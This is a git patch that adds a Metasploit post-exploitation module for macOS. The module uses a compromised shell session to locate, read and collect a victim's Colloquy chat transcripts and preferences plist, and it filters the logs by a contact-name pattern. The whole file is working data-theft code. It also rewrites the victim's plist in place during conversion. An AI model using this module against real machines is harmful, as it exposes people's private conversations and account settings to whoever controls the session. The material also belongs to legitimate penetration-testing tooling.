From 8d2a58dfd803e3e12decbcaec16c74b7d206bf42 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 29 Mar 2012 16:24:43 -0500 Subject: [PATCH] Add post module enum_colloquy.rb to collect chatlogs and the preferences list --- modules/post/osx/gather/enum_colloquy.rb | 168 +++++++++++++++++++++++ 1 file changed, 168 insertions(+) create mode 100644 modules/post/osx/gather/enum_colloquy.rb diff --git a/modules/post/osx/gather/enum_colloquy.rb b/modules/post/osx/gather/enum_colloquy.rb new file mode 100644 index 0000000000..9394d9c221 --- /dev/null +++ b/modules/post/osx/gather/enum_colloquy.rb @@ -0,0 +1,168 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + + def initialize(info={}) + super(update_info(info, + 'Name' => 'OSX Gather Colloquy Enumeration', + 'Description' => %q{ + This module will collect Colloquy's info plist file and chat logs from the + victim's machine. There are three actions you may choose: INFO, and CHATS, and + ALL. Please note that the CHAT action may time a long time depending on the + victim machine, therefore we suggest to set the regex 'PATTERN' option in order + to search for certain log names (which consists of the contact's name, and a + timestamp). The default 'PATTERN' is configured as "^alien" as an example + to search for any chatlogs associated with the name "alien". + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r'], + 'Platform' => [ 'osx' ], + 'SessionTypes' => [ "shell" ], + 'Actions' => + [ + ['ACCOUNTS', { 'Description' => 'Collect the preferences plists' } ], + ['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ], + ['ALL', { 'Description' => 'Collect both the plists and chat logs'}] + ], + 'DefaultAction' => 'ALL' + )) + + register_options( + [ + OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '^alien']), + ], self.class) + end + + # + # Parse a plst file to XML format: + # http://hints.macworld.com/article.php?story=20050430105126392 + # + def plutil(filename) + exec("plutil -convert xml1 #{filename}") + data = exec("cat #{filename}") + return data + end + + def get_chatlogs(base) + chats = [] + + # Get all the logs + print_status("#{@peer} - Download logs...") + folders = dir("\"#{base}\"") + folders.each do |f| + # Get all the transcripts from this folder + trans = exec("find \"#{base}#{f}\" -name *.colloquyTranscript") + trans.split("\n").each do |t| + fname = ::File.basename(t) + # Check fname before downloading it + next if fname !~ datastore['PATTERN'] + print_status("#{@peer} - Downloading #{t}") + content = exec("cat \"#{t}\"") + chats << {:log_name => fname, :content => content} + end + end + + return chats + end + + def get_preferences(path) + raw_plist = exec("cat #{path}") + return nil if raw_plist =~ /No such file or directory/ + + xml_plist = plutil(path) + return xml_plist + end + + def save(type, data) + case type + when :preferences + p = store_loot( + 'colloquy.preferences', + 'text/plain', + session, + data, + "info.colloquy.plist" + ) + print_good("#{@peer} - info.colloquy.plist saved as: #{p}") + + when :chatlogs + data.each do |d| + log_name = d[:log_name] + content = d[:content] + + p = store_loot( + 'colloquy.chatlogs', + 'text/plain', + session, + content, + log_name + ) + print_good("#{@peer} - #{log_name} stored in #{p}") + end + end + end + + def whoami + exec("/usr/bin/whoami") + end + + def dir(path) + subdirs = exec("ls -l #{path}") + return [] if subdirs =~ /No such file or directory/ + items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten + return items + end + + def exec(cmd) + begin + out = cmd_exec(cmd).chomp + rescue ::Timeout::Error => e + vprint_error("#{@peer} - #{e.message} - retrying...") + retry + rescue EOFError => e + vprint_error("#{@peer} - #{e.message} - retrying...") + retry + end + end + + def run + if action.nil? + print_error("Please specify an action") + return + end + + @peer = "#{session.session_host}:#{session.session_port}" + user = whoami + + transcripts_path = "/Users/#{user}/Documents/Colloquy Transcripts/" + prefs_path = "/Users/#{user}/Library/Preferences/info.colloquy.plist" + + prefs = get_preferences(prefs_path) if action.name =~ /ALL|ACCOUNTS/i + chatlogs = get_chatlogs(transcripts_path) if action.name =~ /ALL|CHATS/i + + save(:preferences, prefs) if not prefs.nil? and not prefs.empty? + save(:chatlogs, chatlogs) if not chatlogs.nil? and not chatlogs.empty? + end + +end + +=begin +/Users/[user]/Documents/Colloquy Transcripts +/Users/[user]/Library/Preferences/info.colloquy.plist + +Transcript example: +/Users/[username]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript +=end